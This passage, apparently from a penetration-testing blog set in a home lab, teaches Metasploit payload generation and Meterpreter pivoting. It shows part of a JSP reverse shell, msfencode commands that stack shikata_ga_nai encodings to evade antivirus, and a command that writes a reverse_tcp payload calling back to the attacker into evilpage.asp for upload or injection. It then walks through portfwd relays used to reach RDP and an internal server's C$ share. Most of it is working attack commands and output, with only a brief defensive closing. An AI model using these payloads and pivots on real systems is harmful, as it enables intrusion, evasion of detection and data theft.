     50: 					( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
    
     51: 				} catch( Exception e ) {}
    
     52: 			%>
    
     53: 		

    As it can be seen this is code where the code in lines 47 thru 50 is executing the cmd.exe command and piping the output thru a socket back to the attacker, the shell is also an option that can be changed to be /bin/bash if setting on a Linux host.

    Now if we want other formats not included in msfpayload and we want to also obfuscate by encoding our payload so as to make it more difficult to detect by AV (Anti Virus) and HIPS (Host Intrusion Prevention System) we use the msfencode command:

      1: ./msfencode -h
    
      2: 
    
      3:     Usage: ./msfencode <options>
    
      4: 
    
      6: 
    
      7:     -a <opt>  The architecture to encode as
    
      8:     -b <opt>  The list of characters to avoid: '\x00\xff'
    
      9:     -c <opt>  The number of times to encode the data
    
     10:     -e <opt>  The encoder to use
    
     11:     -h        Help banner
    
     12:     -i <opt>  Encode the contents of the supplied file path
    
     13:     -l        List available encoders
    
     14:     -m <opt>  Specifies an additional module search path
    
     15:     -n        Dump encoder information
    
     16:     -o <opt>  The output file
    
     17:     -p <opt>  The platform to encode for
    
     18:     -s <opt>  The maximum size of the encoded data
    
     19:     -t <opt>  The format to display the encoded buffer with (c, elf, exe, java, perl, raw, ruby, vba, vbs, loop-vbs, asp)
    
     20:     -x <opt>  Specify an alternate win32 executable template
    
     21: 
    

     

    By piping the Raw output to msfencode we can manipulate even more the payload, some of the most used options are the following:

    • -a for specifying the architecture(x86, x64).
    • -c to specify the number of encoded to do.
    • -i for the encode type.
    • -t for the format of the buffer.

    There are different encoding types and they are rated on their effectiveness, to get a list we use the –l option:

      1: ./msfencode -l
    
      2: 
    
      3: Framework Encoders
    
      4: ==================
    
      5: 
    
      6:     Name                    Rank       Description
    
      7:     ----                    ----       -----------
    
      8:     cmd/generic_sh          good       Generic Shell Variable Substitution Command Encoder
    
      9:     cmd/ifs                 low        Generic ${IFS} Substitution Command Encoder
    
     10:     generic/none            normal     The "none" Encoder
    
     11:     mipsbe/longxor          normal     XOR Encoder
    
     12:     mipsle/longxor          normal     XOR Encoder
    
     13:     php/base64              normal     PHP Base64 encoder
    
     14:     ppc/longxor             normal     PPC LongXOR Encoder
    
     15:     ppc/longxor_tag         normal     PPC LongXOR Encoder
    
     16:     sparc/longxor_tag       normal     SPARC DWORD XOR Encoder
    
     17:     x64/xor                 normal     XOR Encoder
    
     18:     x86/alpha_mixed         low        Alpha2 Alphanumeric Mixedcase Encoder
    
     19:     x86/alpha_upper         low        Alpha2 Alphanumeric Uppercase Encoder
    
     20:     x86/avoid_utf8_tolower  manual     Avoid UTF8/tolower
    
     21:     x86/call4_dword_xor     normal     Call+4 Dword XOR Encoder
    
     22:     x86/countdown           normal     Single-byte XOR Countdown Encoder
    
     23:     x86/fnstenv_mov         normal     Variable-length Fnstenv/mov Dword XOR Encoder
    
     24:     x86/jmp_call_additive   normal     Jump/Call XOR Additive Feedback Encoder
    
     25:     x86/nonalpha            low        Non-Alpha Encoder
    
     26:     x86/nonupper            low        Non-Upper Encoder
    
     27:     x86/shikata_ga_nai      excellent  Polymorphic XOR Additive Feedback Encoder
    
     28:     x86/unicode_mixed       manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    
     29:     x86/unicode_upper       manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

    The highest one rank is x86/shikata_ga_nai for X86 code, do notice that depending on the payload you must be careful that the encoding and the architecture for which you are generating the payload match.

    In the format buffers we get the same as with msfpayload but we also get some very interesting ones like:

    • elf – ELF (Executable and Linking Format) Binary executable for Linux system
    • vbs – Visual Basic Scripting
    • loop-vbs-  Visual Basic Script that will loop and re-execute every x number of seconds specified in the options
    • ASP – Active Server Pages from Microsoft's .Net Framework.

    As it can be seen we have some very interesting options for outputting our code and delivering it to our targets.

    Lets generate a Meterpreter payload, encoded several times and convert it to an ASP page:

      1: ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.224,LPORT=993 R | ./msfencode -c 5 -e x86/shikata_ga_nai -a X86 -t asp > evilpage.asp
    
      2: [*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
    
      3: 
    
      4: [*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
    
      5: 
    
      6: [*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
    
      7: 
    
      8: [*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
    
      9: 
    
     10: [*] x86/shikata_ga_nai succeeded with size 426 (iteration=5

    Now this ASP page can be uploaded to a web server or place inside the code of a valid ASP page thru injection.

    One important note is the more you encode the bigger the file so keep that in mind if your delivery mechanism is affected by the size.

    As it can be seen Metasploit gives a large set of formats to export our payloads thus giving greater flexibility on avenues of attack.

    Meterpreter Pivoting Improved

    Metasploit is getting better every time I see the activity log. Meterpreter has been improving a lot lately, it is now encrypted, multithreaded, many obfuscation techniques against detection even from memory dumping and 64bit Windows support, one of the old feature that I was really looking forward to is a revamp of the Port Forward feature. To show off the improvements I will be running everything thru the setup as shown bellow. I will have a Meterpreter Reverse TCP connection from the Windows XP machine to my attackers box in my home network thru the 2 NAT firewalls in between.

    pivotteam

    So from the meterpreter session we first take a look at the options we have by running the command with the –h option.

       1: meterpreter > portfwd -h
       2: Usage: portfwd [-h] [add / delete / list] [args]
       3:  
       4:  
       5: OPTIONS:
       6:  
       7:     -L <opt>  The local host to listen on (optional).
       8:     -h        Help banner.
       9:     -l <opt>  The local port to listen on.
      10:     -p <opt>  The remote port to connect to.
      11:     -r <opt>  The remote host to connect to.
      12:  
      13: meterpreter > 

    We can Add, Delete and List the relays we can build with the tool. Lets check on the machine we are connected to if Remote Desktop is enabled:

       1: meterpreter > execute -H -c -i -f cmd.exe
       2: Process 1436 created.
       3: Channel 4 created.
       4: Microsoft Windows XP [Version 5.1.2600]
       5: (C) Copyright 1985-2001 Microsoft Corp.
       6:  
       7: C:\Documents and Settings\labuser\Desktop>netstat -na | find "3389"
       8: netstat -na | find "3389"
       9:   TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
      10:  
      11: C:\Documents and Settings\labuser\Desktop>

    As we can see the port 3389 is open, if not we can use the getgui script, which can also create the port forward for us but for this example we will build it by hand, we issue the command as shown below:

       1: meterpreter > portfwd add -l 3389 -p 3389 -r 127.0.0.1
       2: [*] Local TCP relay created: 0.0.0.0:3389 <-> 127.0.0.1:3389
       3: meterpreter > portfwd list
       4: 0: 0.0.0.0:3389 -> 127.0.0.1:3389
       5:  
       6: 1 total local port forwards.
       7: meterpreter > 

    We set the local port to which we will connect to with the –l option, we set the remote port to which we will relay the connection to with the –p option and with the –r option we tell the Meterpreter process on the target host where to what address to relay the connection to, so we tell it to relay to it’s local address. We issue a list command to make sure the connection is present and we proceed to connect locally using the Terminal Server Client that comes with Ubuntu.

    image

    As you can see we have an RDP connection to the target machine. One important note on Windows 7, Windows Vista and Windows 2008 you can configure your RDP protocol to encrypt using TLS and only accept validated Certificates(kb895433 MSDN Blog), if this is part of a Group Policy it will have to be disabled or use the VNC payload.

    image

    If we take a look at the network that is behind the firewalls by doing a ping sweep using the netenum Meterpreter script we can see another host responding to ICMP packets, this host is the Windows 2003 server I have in my VMware Team. I would like to map the drive of that server and extract data from it.

       1: meterpreter > run netenum -ps -r 10.10.10.1/24
       2: [*] Network Enumerator Meterpreter Script 
       3: [*] Log file being saved in /root/.msf3/logs/netenum/192.168.1.138
       4: [*] Performing ping sweep for IP range 10.10.10.1/24
       5: [*]     10.10.10.1 host found
       6: [*]     10.10.10.242 host found
       7: [*]     10.10.10.248 host found
       8: meterpreter > 

    We will do as if we cracked the password either thru a hashdump or we used incognito to impersonate a token and creat a domain account. We now set our relay for port 445 the Netbios over TCP and we make sure that for the –r option we specify the remote IP of the target that we want to connect to.

       1: meterpreter > portfwd add -l 445 -p 445 -r 10.10.10.248
       2: [*] Local TCP relay created: 0.0.0.0:445 <-> 10.10.10.248:445
       3: meterpreter > portfwd list
       4: 0: 0.0.0.0:3389 -> 127.0.0.1:3389
       5: 1: 0.0.0.0:445 -> 10.10.10.248:445
       6:  
       7: 2 total local port forwards.
       8: meterpreter > 

    Once we make a connection remember to do a list of connections to make sure the connection was made. Now from Nautilus in Gnome on my Ubuntu box a do a Connection to a Server and specify my localhost address, that it is a Windows Share, the Share, Usename and click Connect, I will we asked for the password and click ok. 

     

    image

    When the connection is successfully made we will see that we have access to the C$ of the remote server thru the pivot on the Windowx XP host. In this same manner we can use other tools thru the pivot to connect, enumerate and exploit remote hosts.

    image

    Once we are done we must kill each pivot using the delete command an the local port.

       1: meterpreter > portfwd delete -l 445
       2: [*] Successfully stopped TCP relay on 0.0.0.0:445
       3: meterpreter > portfwd delete -l 3389
       4: [*] Successfully stopped TCP relay on 0.0.0.0:3389
       5: meterpreter > portfwd list
       6:  
       7: 0 total local port forwards.
       8: meterpreter > 

    The Port forward command is working very reliably and brings a new level of flexibility to post exploitation using the Meterpreter.

    If an attacker gains accesses to any asset in a network that asset becomes a lauchpad of attacks against the internal assets of the network, attacking printers, client systems and network infrastructure, here is where having a multi layer approach at defends with segmentation, proper policy, procedures and baselining of activities of all systems comes in to play so as to stop and/or detect this type of attacks. Almost all modern RAT (Remote Administration Tools) and Exploitation Payloads either being from Metasploit, Core, Canvas, Poison Ivy or others support this type of functionality so proper defends is key.